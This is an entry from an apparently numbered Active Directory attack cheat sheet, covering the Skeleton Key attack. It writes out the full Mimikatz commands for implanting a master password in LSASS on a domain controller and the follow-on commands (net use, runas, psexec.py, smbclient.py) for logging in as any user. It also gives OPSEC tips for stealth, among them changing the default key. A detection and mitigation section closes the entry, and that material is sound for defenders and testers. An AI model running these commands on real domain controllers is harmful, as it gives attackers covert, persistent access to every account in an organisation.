🟤 Attack #61 — Skeleton Key Attack
📖 How It Works
The Skeleton Key attack patches the LSASS process on a Domain Controller to add a master password (“skeleton key”) that works alongside every user’s real password. After patching, the attacker can authenticate as any domain user using the skeleton key password (default: mimikatz) while the user’s original password continues to work normally — making it invisible.
⚙️ Prerequisites
| Requirement | Detail |
|---|---|
| Domain Admin / SYSTEM on DC | Required to patch LSASS |
| Physical/remote access to DC | Must run Mimikatz on the DC itself |
💻 Full Commands
# ── Inject Skeleton Key into LSASS ───────────────────────────────────────────
mimikatz.exe
privilege::debug
misc::skeleton
# [KDC] Skeleton Key implanted
# Default skeleton key password: "mimikatz"
# ── Now authenticate as ANY user with skeleton key ────────────────────────────
net use \\TARGET\C$ /user:corp\Administrator mimikatz
# Also works: runas /user:corp\any_user /netonly cmd.exe (password: mimikatz)
# Original user password ALSO still works — no disruption
# ── Linux — authenticate with skeleton key ────────────────────────────────────
psexec.py corp.local/Administrator:'mimikatz'@DC01.corp.local
smbclient.py corp.local/any_user:'mimikatz'@DC01.corp.local
🎯 OPSEC Tips
- In-memory only — doesn’t survive DC reboot; must re-inject after restart
- Only affects the patched DC — if multiple DCs exist, must patch each one
- LSASS patching may crash — risky on production DCs
- Default password is
mimikatz— change via custom Mimikatz build for stealth
🛡️ Detection — Event IDs
| Event ID | Source | What to Look For |
|---|---|---|
| 7036 | System Log | LSASS crash or restart (if patching fails) |
| Sysmon 10 | Sysmon | Process access — writing to LSASS memory |
| 4624 | Security Log | Successful logon with RC4 encryption (Skeleton Key forces RC4 downgrade) |
Primary detection: Skeleton Key forces RC4 (etype 23) for Kerberos authentication. In environments enforcing AES-only, any AS-REQ/TGT using RC4 encryption type is highly suspicious.
🔗 Attack Chain Context
[Skeleton Key] ──→ Master Password for All Domain Accounts
│
├──→ 🔑 Every user has two passwords: their real one + "mimikatz"
├──→ ⚠️ In-memory only — doesn't survive reboot
├──→ 🔗 Must have DA to deploy; used for persistence
└──→ 💀 Defeated by: enforce AES, run Protected Process Light, monitor LSASS access
✅ Attack #61 — Skeleton Key complete.